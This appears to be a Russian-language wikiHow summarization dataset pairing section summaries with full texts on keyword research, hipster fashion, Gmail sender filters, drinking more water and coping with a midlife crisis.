summary: Перейдите по адресу: Начните вводить поисковый запрос. Удалите поисковый запрос из строки поиска и попробуйте другой.

document: https://www.google.com. Один из самых простых способов поиска ключевых слов заключается в использовании функции автозаполнения поисковой системы Google. По мере ввода Google начнет отображать популярные поисковые запросы, которые связаны с вашим.  Ищите «главные» высокочастотные ключевые слова. Это наиболее популярные запросы. Как правило, это широкие и общие определения, и оплата РРС-баннеров по ним будет самой высокой. Также обратите внимание на низкочастотные запросы, которые касаются вашего сайта или товаров. Обычно они состоят из 3–5 терминов или слов. Люди используют эти запросы для поиска конкретного товара. РРС-баннеры для составных таких ключевых фраз обходятся дешевле, поскольку количество поисковых запросов обычно меньше, поэтому эту технику используют в целевом маркетинге. В отличие от других инструментов, этот можно использовать для поиска ключевых слов неограниченное количество раз.

english_section_name: Using Google Autocomplete

summary: Перейдите по адресу: Введите в строку поиска ключевое слово или фразу. Нажмите на оранжевую кнопку Search (Поиск). Проведите до 30 бесплатных исследований ключевых слов.

document: https://www.wordstream.com/keywords. Бесплатный инструмент поиска ключевых слов Wordstream поможет вам выявить, какие слова и фразы принесут больше пользы от использования их в рекламных кампаниях.  Если вы используете стороннее дополнение для просмотра веб-страниц, такое как Privacy Badger, вам нужно будет отключить его, чтобы воспользоваться этим инструментом. Инструментом WordStream можно пользоваться бесплатно до 30 раз. Если вы уже потратили все запросы, найдите альтернативу этому сайту, например https://www.wordtracker.com. Это первое поле в голубой полосе под заголовком «Free Keyword Tool».  Если вы хотите сузить результаты поиска, настройте фильтры с помощью меню «Choose industry» (Выбор отрасли) и «Select Country» (Выбор страны). Чтобы увидеть, насколько эффективно подобраны ключевые слова на вашем сайте, введите в поисковое поле свой URL-адрес. Отобразится несколько ключевых слов, которые помогут вам сориентировать свою маркетинговую кампанию. Запишите новые популярные ключевые слова, которые позволят вам разработать более эффективные PPC-объявления (Pay Per Click — объявления с оплатой за клик) и провести соответствующие меры по поисковой оптимизации. Инструмент WordStream особенно эффективен при работе с РРС-рекламой, поскольку он позволяет узнать, какие именно ключевые запросы используют люди для поиска и покупки товаров. Проведя ранжирование запросов по популярности, вы сможете значительно повысить эффективность PPC-рекламы.

english_section_name: Using the Wordstream Free Keyword Tool


summary: Избегайте <<ширпотреба>>. Найдите футболку, которая хорошо сидит. Не забывайте про деним. Застегните то, что на вас. Повторно используйте старые вещи. Готовьтесь к зиме. Не стесняйтесь цвета. Аксессуары. Черпайте вдохновение в луке других хипстеров.

document: Это значит, что не стоит носит такие бренды, как Hollister, Abercrombie, Aeropostale и т.д. По двум важным причинам: это показывает вашу индивидуальность, и что вы против больших корпораций. Для покупки вещей обратите внимание на такие бренды, как Buffalo Exchange. Если не хотите покупать вещи в секонд-хенде, то присмотритесь к магазинам, которые продают одежду, выглядящую поношенной или винтажной. Однако, American Apparel -- пожалуй, исключение, так как они не используют потогонное производство для изготовления одежды. Хорошо, вы живете в небольшом городке, где о секонд-хенде и мечтать не приходится? Вас застали в городском торговом центре или в H&M, вам возможно немного стыдно, но вы не будете единственным хипстером, который там отоваривается. Запомните: <<хорошо сидит>> для хипстера, не тоже самое, что <<хорошо сидит>> для не-хипстера. Мужская рубашка хипстера должна быть в обтяжку, и рукава на миллиметр короче обычной мужской рубашки. Женские рубашки часто повторяют лук бойфренда. Женщинам необязательно покупать рубашки в мужском отделе, но можно выбрать женскую рубашку на пару размеров больше вашего. Чтобы быть сексуальным, надо выглядеть не сексуально. Особенно для девушек, обтягивающая одежда, в которой тяжело дышать -- не из репертуара хипстеров (это не относится к мужским джинсам скинни). Мешковатая и свободная одежда -- хорошо, и даже отлично. Главное ирония - не силуэт. Кроме джинсовых юбок.  Узкие, облегающие джинсы -- <<маст хэв>> для обоих полов. Они могут быть любого цвета или узора, даже в цветочек или кислотно-зеленого. Если не любите штаны, подумайте об обрезанных джинсах. Они могут быть любой длины для девушек и чуть выше колена для мужчин.  Девушки  могут носить джинсы своего бойфренда, подогнув пару раз низ штанин. Джинсовые рубашки и куртки -- отличное дополнение к гардеробу хипстера. Не бойтесь их перекраивать и обрезать. Джинсовые жилеты тоже в цене! Застегивается, так? Наверняка. Если вы девушка-хипстер, то у вас наверняка в шкафу несколько кофт с капюшоном. Они подходят к любой одеже. Именно, к любой. кофта с капюшоном должна стать вашим лучшим другом. Вы получите дополнительные очки, если наденете кофту с капюшоном в сочетании с фетровой шляпой, блейзером или женственным платьем в цветочек. Нет смыла бороться за окружающую среду и становится вегетарианцем, если вы не можете сделать того же со своим гардеробом. Если сомневаетесь, прежде чем выбросить вещь, узнайте можно ли дать ей вторую жизнь. Можете ли вы превратить ее во что-то новое и вполне носимое? Необязательно сохранять их в первоначальном виде! Свитер можно превратить в перчатки (накидку на абажур, обложку для книги. чехол для подушки)! Хотите быть оригинальным? Сделайте вещь своими руками -- это хорошее начало. Интенсивность одеяния будет зависеть от времени года и места проживания, все же важно одеться тепло не потеряв лук хипстера. Вот несколько идей:  Найдите фланель. Большая рубашка с пуговицами под горло -- хорошее дополнение к имиджу хипстера, независимо от цвета. В идеале, цвет должен не сочетаться с остальной одеждой на вас. Купите пару кардиганов. Они продаются везде, даже в самых ширпотребных магазинах. Выбирайте кардиган с большими пуговицами и глубоким V-образным вырезом. Если найдете, купите кардиган на пару размеров больше. Найдите ироничную водолазку или пуловер. Лучше всего подойдут бабушкины узоры: котята, цветочки или елочки. Чем ужаснее узор, тем лучше. Держите голову в тепле при помощи пушистой, серой шапочки. Цвет можно поменять на кислотно-оранжевый. Так как вы можете сочетать любые, самые не сочетаемые вещи, вы можете стать настоящим человеком-радугой. Чем больше цветов, тем лучше. И чем  ярче и узористей они, тем больше причин все это надеть и отправиться в публичное место со своей аналоговой фотокамерой. Неон, неон, неон. Неоновые штаны, неоновая обувь, неоновые аксессуары, неоновые очки Ray Bans -- даже если вы не в стиле, вы будете выделяться! Обычные цвета слишком хорошо сочетаются (к черту цветовую палитру), так что украсьте свой гардероб неоном, узорами и другими <<несочетаниями>>. Не волнуйтесь о сочетании. Надевайте все, что есть: большие, пластмассовые, деревянные и железные. Неожиданные предметы в качестве подвесок (совы и осьминоги), повязки на голову с большими бантами, заколки с огромными цветами и все, что привлекает внимание. Аксессуары с перьями - тоже подойдут.  Кожаные аксессуары набирают оборот. Кожаные ранцы и рюкзаки, кожаные жилеты и ремни. Купите себе шарфы из хлопка и льна, чтобы носить поверх одежды. Лучше с узорами. Куфия -- популярна, хотя они спорны из-за религиозной подоплеки. Чтобы не вызывать конфликтов, попробуйте выбрать простой шарф в клетку. Украшения на голову. Если для шапки слишком жарко, соломенные шляпы или шляпы с перьями - хороший выбор. Шляпы всегда дают хипстеру завершенный лук. Теперь, когда вы знаете как выглядит хипстер, вы сможете определить его за километр. Если вы еще не заметили -- хипстеры везде (и некоторые даже не знают, что они хипстеры). Если в вашем городке недостаточно информации, то вот некоторые настоящие иконы культуры, на которых стоит обратить внимание:  thesatorialist.com, stockholmstreetstyle.feber.se, lookbook.nu, и cobrasnake.com - отличные сайты для примера луков. И может, когда-нибудь, там будете вы! Посмотрите сериалы  <<Девчонки>>,  <<Убить скуку>>  или <<Портландия>> для вдохновения. То, как одевается ваш любимый исполнитель, тоже сойдет!

english_section_name: Getting Hipstery for Both Sexes

summary: Загляните в мамин гардероб, чтобы найти винтажные вещицы. Держите шею и все свое хипстерство в тепле, укутавшись в большой шарф или платок. Найдите платьица в цветочек. Выбрасывайте все свои джинсы под ботинки и клеш. Навешайте на себя кучу аксессуаров. Смешивайте тенденции прошлого. Носите что угодно, кроме шлепанцов и каблуков.

document: Ха, это тоже самое, что сказать :<<сходите в любой магазин, где отовариваются молодые взрослые>>. Вы еще не заметили моду на псевдо-винтажные вещицы<<везде>>? Но чтобы быть более, как это говорится, аутентичным, отправляйтесь в винтажные магазины, секонд-хэнды или молите родственников заглянуть в шкафы со старьем. Наверняка у кого-нибудь завалялась старая футболка с радугой в коробке со времен, когда им было 12 лет. Футболка должна быть либо слишком маленькой либо слишком большой. Но если каким-то чудом вы нашли футболку Дэви Джонса в старом гардеробе вашей тетушки, и она вам впору, то  надевайте -- Дэви Джонс того стоит. Хорошая новость в том, что шарфы хорошо смотрятся с любой одеждой. ЛЮБОЙ. Надели майку? Шарф. Свадебное платье? Шарф. На улице +35 C? Шарф. Даже Канье Уэст не снимает шарф. Теперь понимаете, как вы круты. Научитесь завязывать шарф/платок дюжиной разных способов. Если  не знаете как, тогда просто небрежно задрапируйте его, один раз обернув вокруг шеи. Вам абсолютно все равно, как выглядит шарф, вам просто нравится комфорт, который он дает шее, так ведь? Вам иногда наверняка нравится легкий ветерок, задувающий <<туда>>, не так ли? Платья могут быть удобными. Но также, как и от футболки, от платьев должно веять другой эпохой. Старомодные платья в цветочек -- самое то. Чем больше цветочков, тем лучше.  Нашли платье, которое слишком большое для ваших целей или слишком консервативное с чересчур длинными рукавами, которые надо обрезать. Дерзайте, неоновые лифчики и повязки изобрели именно для этого. Без шуток. Посмотрите в интернете. Слишком холодно, чтобы разгуливать в платье? Отговорки! Вы не слышали о шерстяных колготках? Шерстяные, с узором, неоновые колготки? Если они не решат проблему, то ничто не решит. Простые черные колготки, под объемными шерстяными носками -- еще один хороший лук (от англ. look). Мы знаем, что у вас их несколько пар. Вы покупаете только их аж с 10 лет, кроме 2006, когда на мгновение появились джинсы скинни, и им на смену быстро вернулись клеши с другой стороны диско спектрума. После того непонятного года, вы опять прилипли к безопасным прямым джинсам. Ничего страшного -- мы все через это прошли. Но теперь, пришло время от них избавиться. Только скинни, и ничего другого. Лодыжкам не обязательно дышать! Ваши любимые джинсы не подходят под код хипстера? Сделайте из них шорты. Чем выше талия и чем больше кажется, что вы позаимствовали их у мамы, тем лучше. И когда мы говорим, что надо обрезать коротко, мы имеем в виду коротко. И чем небрежнее, тем лучше. Именно так, возьмите все, что есть и наденьте на себя. У вас оказался деревянный браслет какого-то племени, бабушкино рубиновое ожерелье и кружевной воротничок? Отлично. То, что нужно. Главное сочетайте несочетаемое. То, что возмутительно для одних, для вас -- обычное дело. Огромный цветок прямо на макушке? Почему нет? Броская, огромная желто-неоновая заколка на волосах? ...То, что нужно. С тех пор, как вам исполнилось 12, вы прошли (по порядку) через фазу Hello Kitty, фазу N*SYNC, фазу эмо, фазу преппи, фланелевую фазу, фазу гранж и вот вы добрались досюда. Прекрасно -- теперь возьмите по вещице из каждого лука и соберите их в один. Вуаля! И вы -- хипстер. Как 2+2. Серьезно. Суть моды хипстеров -- несоответствие стилей и столкновение культур в бессмыслице -- если очень нужно вам навесить здесь ярлык. Главная ошибка плохого хипстера в том, что он слишком долго раздумывает над тем, что надеть; если же вы небрежны в гардеробе -- вы подойдете. Это, наверно, единственное правило подхода к обуви. Если на вас не шлепанцы и не каблуки, то все в порядке. Мокасины, ковбойские сапоги, кроссовки -- прекрасный выбор. Хипстеры любят балетки! Кто же знал, что такая невинная вещь, как балетки, станет очень хипстерской? Главное, чтобы обувь не выглядела слишком новой. Если вы только что вернулись из магазина с новехонькими кедами <<конверсами>>(вы -- оригинальная милашка), хорошенько потрите их. Этих малышей нужно немного потаскать, прежде чем вывести на люди.

english_section_name: Being a Hipster Girl

summary: Наденьте джинсы своей сестры. А вот чего стоит опасаться -- это свисающие бока поверх пояса джинсов. Почувствуйте ностальгию. Притворитесь, что у вас плохое зрение. Полуделовой, полувыходной. Слои. Прежде чем покупать <<конверсы>>, подумайте. Возьмите курьерскую сумку через плечо.

document: На полном серьезе. Если влезаете в них, натягивайте. И чем теснее они, тем лучше. Они должны обтягивать от мошонки до лодыжек. И не стоит волноваться, что вы их потом не снимите, дело-то вовсе не в этом. Они должны очень хорошо сидеть и обтягивать все от верха до низа. Другими словами - не забудьте надеть брифы - обтягивающие трусы! Все, что напоминает вам о пятилетнем возрасте, должно быть в вашем гардеробе. И все, что напоминает вашему отцу о его пятилетнем возрасте -- тоже. Если вещь винтажная, то для нее есть место в шкафу. В вашем гардеробе должны быть только бренды компаний, которые больше не существуют. Кроме, конечно,  American Apparel. Вещам не обязательно быть впору. Об этом позже, но если вещь мала или велика -- клёво! Размер должен быть последним критерием, по которым вы выбираете одежду. Если хотите, чтобы хипстер-метр зашкалил, наденьте большие в толстой черной оправе очки. Если хотите, чтобы хипстер-метр взорвался, то наденьте очки в черной толстой оправе без линз. Ну, по крайней мере, вы будете всегда знать, что ваши уши на месте. Этот стиль начинает становиться не актуальным, поэтому старайтесь выделяться, например, вызывающе яркой оправой  Ray Bans. Ray Bans - всегда в моде. Если вы прочитали главу для девушек, то уже знаете, что сочетание несочетаемых стилей -- важная часть в луке хипстера. Также, как вы сочетаете стили из разных времен, сочетайте разные уровни и статусы. Футболка TNMT делает надетый поверх пиджак Armani подходящим, повяжите поверх клетчатый  вязанный шарф, на низ -- джинсы скинни и пару поношенных мокасин. Идет ли он на собеседование, в бар или прокатиться на велосипеде? Никто так и не узнает. Не стесняйтесь вызывающе ярких принтов. Плед, клетка, пейсли, пестрые вещи -- все, что заставит девушку, читающую Cosmo кричать от ужаса -- вы на верном пути. У вас нашелся в шкафу клетчатый твидовый пиджак и полосатая ковбойская рубашка? Они явно подходят друг к другу. Если позволяет погода, слои в сочетании (как обсуждалось ранее) -- отличная идея. Кардиганы можно надеть поверх чего угодно, вам на заметку. Свитера, длинные рукава -- все это источает иронию. Шарф поверх футболки и плащ? Конечно, почему нет? Давайте на чистоту: все, кому не лень, носят конверсы. В них не осталось никакой иронии, хипсерства или протеста. Все, о чем они говорят:<<Посмотрите, я был в магазине Converse и потратил почти 3000 рублей на кеды, и мне абсолютно наплевать, как я выгляжу>>. Так что, если вашим кедам не 15 лет от роду или они не ручной работы по вашей ноге, то попробуйте что-нибудь другое. Доктор Мартенс -- неплохое начало. Ковбойские сапоги, старые модели Reebok, Ked, и винтажные мокасины тоже подойдут. Просто откажитесь от шлепанцев. Погуглите <<Курьерская сумка хипстера>> и удивитесь. Этот ужас называется  <<сумками хипстера>>. Тут, как обычно, общество не проявило особой оригинальности, но за что купил, за то продал: чтобы носить все свое с собой, нужна курьерская сумка. Кто-то может обратить внимание на вашу сумку - и спросить, где ваша сумка, сейчас набирают обороты мужские сумки хипстеров (murse). Ну и пусть спрашивает, зато у вас обе руки свободны, чтобы ткнуть ему в глаз за то, что он такой ограниченный и невежественный -- он это заслужил.

english_section_name: Being a Hipster Guy


summary: Откройте Gmail. Найдите адрес электронной почты отправителя. Скопируйте адрес электронной почты. Щелкните по  строке поиска Gmail. Вставьте скопированный адрес электронной почты. Просмотрите список писем.

document: Перейдите на страницу https://www.gmail.com/ в веб-браузере компьютера. Откроется ваш почтовый ящик Gmail, если вы вошли в систему.  Если вы еще не авторизовались, введите адрес электронной почты и пароль. Откройте письмо, поместите указатель мыши над именем отправителя в верхнем левом углу письма и найдите адрес в нижней части отрывшегося окна. Удерживайте левую кнопку мыши и проведите указателем по всему адресу электронной почты, а затем нажмите Ctrl+C (Windows) или ⌘ Command+C (Mac). Это строка «Поиск в почте» в верхней части папки «Входящие». Для этого нажмите Ctrl+V (Windows) или ⌘ Command+V (Mac), а затем нажмите ↵ Enter, чтобы найти письма, полученные с указанного адреса. На экране отобразятся письма от выбранного отправителя.

english_section_name: Viewing All Emails from a Sender

summary: Откройте Gmail. Откройте меню строки поиска. Введите адрес электронной почты. Нажмите Создать фильтр. Установите флажок у «Применить ярлык». Нажмите Выберите ярлык. Щелкните по Создать ярлык. Введите имя отправителя, письма которого будут добавлены в ярлык. Нажмите Создать. Установите флажок у «Применить фильтр к соответствующим цепочкам писем». Установите флажок у «Пропустить входящие (архивировать)», если хотите. Нажмите Создать фильтр.

document: Перейдите на страницу https://www.gmail.com/ в веб-браузере компьютера. Откроется ваш почтовый ящик Gmail, если вы вошли в систему.  Если вы еще не авторизовались, введите адрес электронной почты и пароль. Нажмите {"smallUrl":"https:\/\/www.wikihow.com\/images_en\/8\/82\/Android7dropdown.png","bigUrl":"https:\/\/www.wikihow.com\/images_en\/8\/82\/Android7dropdown.png","smallWidth":460,"smallHeight":460,"bigWidth":760,"bigHeight":760,"licensing":"<div class=\"mw-parser-output\"><\/div>"} справа в строке поиска, которая находится в верхней части папки «Входящие». В текстовом поле «От» в верхней части меню введите адрес электронной почты нужного отправителя.  По мере ввода под текстовым полем «От» отобразится список соответствующих адресов электронной почты. В этом списке щелкните по нужному адресу электронной почты, чтобы добавить его в поле «От». Также в поле «От» можно ввести имя отправителя — под этим полем появится адрес электронной почты отправителя. Эта опция находится в нижнем правом углу меню. Откроется новое окно. Вы найдете эту опцию посередине окна. Эта опция находится справа от «Применить ярлык». Раскроется меню. Эта опция находится в верхней части меню. Откроется новое окно. Сделайте это в текстовом поле «Введите название ярлыка» в верхней части окна. Эта кнопка находится в нижней части окна. Будет создан ярлык (папка) с именем отправителя. Эта опция находится в нижней части окна. Теперь все письма этого отправителя, полученные ранее, будут добавлены в созданный вами ярлык. В этом случае письма отправителя не будут поступать в папку «Входящие», а будут скапливаться в созданном ярлыке. Но такие письма все равно будут отображаться в разделе «Все письма». Отныне все письма (уже полученные и которые будут получены) отправителя будут помещаться в созданный ярлык, носящий имя отправителя. Ярлык можно найти в левом столбце папок. Возможно, чтобы найти ярлык, вам придется прокрутить этот столбец или нажать «Еще» в его нижней части.

english_section_name: Creating a Label Rule for a Sender


summary: Носите с собой бутылку воды, куда бы вы ни пошли. Выпивайте стакан воды после тренировки или в жаркую погоду. Выпивайте стакан воды до и во время приема пищи, чтобы уменьшить аппетит. Чередуйте алкогольные напитки и воду на вечеринках, в барах или во время приемов пищи. Установите будильник на телефоне, чтобы он выступал в качестве напоминания. Начертите линии на бутылке с водой, которые будут соответствовать определенным моментам времени. Загрузите приложение, напоминающее пить воду.

document: Вы не будете забывать пить воду, если она всегда будет у вас под рукой. Налейте воду в бутылочку, предназначенную для многократного использования, положите ее в обычную или спортивную сумку, рюкзак, ящик стола или автомобиль и регулярно пополняйте ее. Не осушайте бутылку до последней капли и не делайте больших глотков. Лучше немного похлебывать жидкость в течение дня. Бутылки с водой бывают разных размеров, форм и материалов. Можно даже приобрести бутылку со встроенным фильтром для воды, чтобы жидкость была приятнее на вкус. Важно пить больше воды каждый раз, когда происходит потоотделение, например, во время занятий спортом или нахождения в жаркой среде. Всегда держите бутылку воды под рукой и постоянно делайте из нее небольшие глотки, если вам жарко или если вы вспотели. Это поможет вам умерить аппетит, так как жажду часто путают с голодом. Замените то, что вы обычно пьете до и во время приема пищи, на воду или по крайней мере пейте воду наряду с этим напитком. Это сэкономит вам деньги, когда вы будете питаться вне дома, и поможет вам сократить количество потребляемых калорий. Выпивайте стакан воды, пока готовите ужин или ждете заказ в ресторане. При приеме алкоголя организм обезвоживается, поэтому важно пить воду наряду с любыми алкогольными напитками, которые вы потребляете. Старайтесь выпивать стакан воды после каждого алкогольного напитка для поддержания водного баланса. Умеренность —  вот, что самое главное, когда дело доходит до алкоголя. Старайтесь не пить больше одной порции в день, если вы — женщина, и больше двух порций в день, если вы — мужчина. Одна порция равна 350 мл пива, 150 мл вина или 44 мл крепкого спиртного напитка. Попробуйте завести будильник или установить сигнал на компьютере, который будет напоминать вам пить воду один раз в час, или придумайте несколько  персональных сигналов. Ими могут выступать повседневные действия, например:  совершение или прием звонка; потягивания на работе или учебе; момент, когда вас кто-нибудь называет по имени; проверка электронной почты. Если у вас есть большая бутылка с водой и на ней можно сделать пометки, возьмите несмываемый маркер и нанесите несколько линий вокруг бутылки, которые будут служить напоминаниями. Потом запишите время, которое соответствует каждой линии, например, 9:00 — 1/4 часть бутылки, 11:00 — половина бутылки и 13:00 — 3/4 части бутылки. Если вам необходимо пополнять бутылку больше одного раза в день, можно добавить дополнительное время между линиями, например, 10:00/14:00. Существуют приложения, которые помогают отслеживать потребление воды, например, Water Balance, Water Check, Watermania. Можно также воспользоваться приложениями, которые помогают следить за питанием, например, MyFitnessPal, FatSecret и YAZIO. Делайте отметки каждый раз, когда будете выпивать бутылку или стакан воды. Можно также приобрести бутылку воды, которая подключается к приложению на телефоне и сообщает, достигли ли вы своей цели в течение дня. Они довольно дорогие, но, возможно, это хороший вариант, если вы испытываете серьезные проблемы с тем, чтобы не забывать пить воду, или если вы — просто поклонник разных гаджетов!

english_section_name: Remembering to Drink Water

summary: Следите за количеством воды, которое вы потребляете каждый день. Задайтесь целью выпивать определенное количество воды в день. Медленно увеличивайте потребление воды, чтобы избежать неприятных побочных эффектов.

document: Ведите подсчет стаканов или бутылок воды, которые вы выпиваете каждый день. Это поможет вам определить, сколько воды вы пьете, и выяснить, нужно ли вам увеличить ее потребление. Показатели этой цели зависят от вас, так как не существует правильного количества воды, которое необходимо потреблять каждый день. Подумайте, какое количество из вашего ежедневного потребления жидкостей приходится на воду, и определите, каким бы вы хотели видеть этот показатель. Например, если вы выпиваете 1400 мл воды каждый день и хотите увеличить потребление до 2100 мл, сделайте это своей целью. Если слишком быстро увеличить потребление воды, это может привести к тому, что вам придется ходить в туалет чаще, чем обычно, что может вызвать неудобства и дискомфорт. Выпивайте примерно по 240 дополнительных мл в неделю, когда будете следовать своей цели. Например, если вы стремитесь выпивать 2100 мл воды в неделю, а в настоящее время вы выпиваете 1400 мл в неделю, начните увеличивать потребление до 1700 мл в первую неделю, потом до 1900 мл во вторую неделю и наконец до 2100 мл в третью неделю.

english_section_name: Setting Goals for Your Water Intake

summary: с фруктами, травами или овощами. Попробуйте пить минеральную воду в качестве шипучей альтернативы воде без газа. Добавьте лед, если вы любите холодную воду, или оставьте ее храниться при комнатной температуре. Заваривайте чашку несладкого чая или кофе раз или два в день.

document: ами или овощами. Добавление вкуса к воде — это простой способ сделать ее более приятной. Попробуйте наполнить бутылку или кувшин водой и добавить несколько ломтиков простых фруктов или овощей или веточки свежих трав. Потом оставьте воду в холодильнике на один-два часа, пока она будет впитывать ароматы. Вот, что можно добавить в воду для вкуса:   кусочки или дольки цитрусовых фруктов, например, апельсина, лимона, лайма или грейпфрута; свежие ягоды, например, чернику, клубнику, малину или ежевику; ломтики огурца; ломтики имбиря; веточки свежих трав, например, мяты, базилика или розмарина. Это отличный вариант, если вы являетесь поклонником газированных напитков, например лимонада или пива. Минеральная или газированная вода обладает всеми теми же преимуществами, что и вода без газа. Можно приобрести ароматизированную газированную воду или придать собственный вкус, используя ломтики лимона, лайма, ягод и огурца.  Убедитесь, что покупная минеральная вода не содержит добавленного сахара и искусственных подсластителей. Холодная питьевая вода может предоставить небольшое преимущество для метаболизма, но этой пользы недостаточно, чтобы сделать холодную питьевую воду незаменимым вариантом, если вы ее не любите. Добавьте в воду лед, если вы предпочитаете вкус холодной воды, или пейте воду комнатной температуры, если так вам больше нравится. Если вам нравится холодная вода, можно заполнить бутылку примерно на 2/3 водой, а потом поместить ее в морозильную камеру на ночь. Вода замерзнет, и у вас будет ледяная вода, которой вы сможете насладиться на следующий день. Употребление чая и кофе тоже идет в счет ежедневного потребления жидкости, поэтому это отличный вариант, если вы любите теплую или горячую воду. Старайтесь выпивать чашку кофе или чая за завтраком на пути достижения ежедневных целей по потреблению воды. Следите за тем, чтобы чай или кофе не были вашими единственными источниками жидкости, особенно если в них содержится кофеин. Кофеин обладает мочегонным действием.

english_section_name: Improving the Flavor of Your Water


summary: Работайте с депрессией и тревожностью. Ведите дневник. Обратитесь к психологу.

document: Некоторые люди начинают испытывать тревожность или депрессию в среднем возрасте. Возможно, вам грустно из-за того, что вы не достигли своих целей или что живете не так, как хотели бы. Быть может, вы испытываете тревогу из-за своих физических изменений, а также надвигающейся старости и смерти. Не игнорируйте свои чувства и не отвергайте их. Признайте свои внутренние переживания и не бойтесь обратиться за помощью. Распознайте симптомы депрессии и тревожности и обратитесь за помощью, если нужно. Подумайте о том, чтобы начать вести дневник или своего рода автобиографию. Мысли, чувства и переживания, изложенные на бумаге, помогут вам поразмышлять о том, какую жизнь вы вели и какой жизни хотите. Ведение дневника также даст возможность посмотреть на свою жизнь со стороны и увидеть ситуации и события с разных точек зрения. Эти записи также помогут вам взглянуть со стороны на принятые вами решения и извлеченные из них уроки. Даже если ваша жизнь пошла не совсем так, как вы хотели, вы можете поразмышлять о том, как ваши переживания помогли вам вырасти. Выберите специалиста, который поможет вам пережить весь процесс кризиса, а не как можно скорее завершить его. Работайте над тем, чтобы заново открыть то, кем вы являетесь и чего вы хотите. Будьте открыты и честны и позвольте себе выражать свои мысли и эмоции во время сеансов. Обратитесь к психологу а местной поликлинике, к которой вы предписаны (его услуги входят в полис ОМС), или найдите психолога, обратившись в местный центр психического здоровья. Можете также попросить рекомендации у семейного врача, друга или родственника.

english_section_name: Handling Your Emotions

summary: Делайте осознанный выбор. Обратитесь за советом. Двигайтесь вперед, а не назад.

document: Если вы думаете, что принятие кардинального решения — это единственное, что сделает вас счастливым, подумайте еще. Скорее всего, для выбора у вас есть более одного варианта. Например, если вы недовольны своей работой, попробуйте сменить должность, перейти в другой отдел или попросите повышения. Да, импульсивные решения бодрят и освежают, но не позволяйте им управлять своей жизнью. Сначала соберите информацию и проанализируйте возможные варианты.  Если вам кажется, что покупка дорогих вещей — это единственный способ испытать счастье, найдите другие способы почувствовать удовлетворение. Можно, например, заняться садоводством или танцами. Возьмите в привычку выжидать день-два, прежде чем покупать вещь, которой вам вдруг захотелось. Тщательно обдумайте варианты, прежде чем двигаться вперед. Вам необязательно принимать кардинальные решения, чтобы быть счастливым. Дайте себе несколько месяцев, чтобы все обдумать, прежде чем решиться на серьезный шаг, например, сменить профессию или переехать в другой город. Если вы чувствуете, что готовы к серьезному решению, обратитесь за мудрым советом к человеку, которому доверяете. Это может быть один из родителей, друг, психолог или духовный наставник. Выслушайте совет, даже если он вам не нравится. Возможно, человек поделится с вами точкой зрения, которую вы не учли. Если вы планируете уволиться с работы, развестись или сделать серьезную покупку, обсудите это, прежде чем действовать. Многие люди, сталкиваясь с кризисом среднего возраста, считают, что двигаться вперед — значит вернуть время вспять. На некоторое время может показаться, что вести себя как молодой, выглядеть как молодой и встречаться с молодыми людьми — это хорошо, но это не станет способом решения проблем. Вы можете откладывать и заглушать чувство смятения, но оно так никуда и не денется. Никакое количество дорогих вещей или красивых машин на самом деле не вернет время вспять. Лучше признать свой возраст и принять его.  Например, если в течение всей жизни своим достоинством вы считали свой внешний вид, попробуйте найти ценность в какой-то более постоянной своей черте, например, в вашей доброте и щедрости. Все становятся старше и стареют, важно лишь то, как вы можете с этим справиться и что можете вынести из этого опыта. Тем не менее здоровые, неинвазивные способы инвестирования в собственную внешность — это хорошо. Можно, например, нанять персонального тренера, чтобы работать над своей физической формой, или сделать прическу и макияж у профессионального стилиста. Это может быть очень полезно для вашей самооценки.

english_section_name: Making Big Decisions

summary: Взгляните в лицо своим проблемам. Найдите новые цели. Цените ту жизнь, которая у вас есть.

document: Возможно, на определенном этапе своей жизни вы оглянулись и заметили, что вас окружает множество проблем. Быть может, вы чувствуете, что увязли в браке, желаете сменить работу или вообще начать жизнь заново в каком-нибудь другом месте. Несмотря на наличие таких мыслей, воплощать их в жизнь вовсе не обязательно. Если вам кажется, что вы убегаете от своих проблем, попробуйте сначала поработать над ними. Поразмышляйте о том, что конкретно делает вас несчастным, а затем постарайтесь придумать решение этой проблемы.  Например, если вы чувствуете себя несчастливым в браке, помните, что супружеские отношения часто меняются, и вы, возможно, сможете справиться с этим. Подумайте о том, чтобы обратиться к психологу или поговорите со своим супругом о возможных решениях проблемы. Будьте внимательны к мыслям о безвыходности. Если вы заметили что-то подобное, то обязательно используйте положительный внутренний диалог, чтобы заменить негативные мысли позитивными. Может быть, у вас есть серьезные стремления и цели, которые оказались нереалистичными. И хотя вам, возможно, придется отказаться от определенных стремлений, поставьте новые цели в других областях своей жизни. Возможно, вы так и не опубликовали свою книгу и не прославились, но ваша жизнь была наполненной и счастливой в других направлениях. Возможно, вы не осуществили свою детскую мечту и так и не стали космонавтом, но вы можете воплотить в жизнь другие свои мечты.  Поставьте перед собой новые цели в финансах, семье, романтических отношениях, карьере и здоровье. Например, задайтесь целью пробежать марафон или каждый день по 30 минут посвящать медитации в тишине. Никогда не сравнивайте себя с другими людьми. Если заметите за собой подобное, то попробуйте на время отказаться от социальных сетей, чтобы не видеть, чем занимаются другие. Примите тот факт, что вы взрослый человек, и у вас есть определенные обязанности. Вместо того чтобы отрицать свою роль и ответственность, найдите в своей жизни то, за что можете быть благодарны. Например, если вы завидуете беззаботной жизни своих детей, когда вам приходится неустанно трудиться на работе, которая вам не нравится, вспомните, что в их жизни вы играете важнейшую роль и что многие люди мечтают просто иметь работу.  Вместо того чтобы смотреть на определенные факторы своей жизни как на бремя, рассматривайте их как дар, который вносит свой вклад в ту жизнь, которую вы создали и продолжаете создавать. Помните, что есть люди, которые отчаянно желают, молятся и нуждаются в том, что вы считаете бременем. Заведите дневник благодарности, чтобы развить в себе привычку регулярно проявлять благодарность.

english_section_name: Dealing with Your Problems

summary: Не забывайте о дружбе. Научитесь расслабляться. Держитесь подальше от алкоголя и наркотиков.

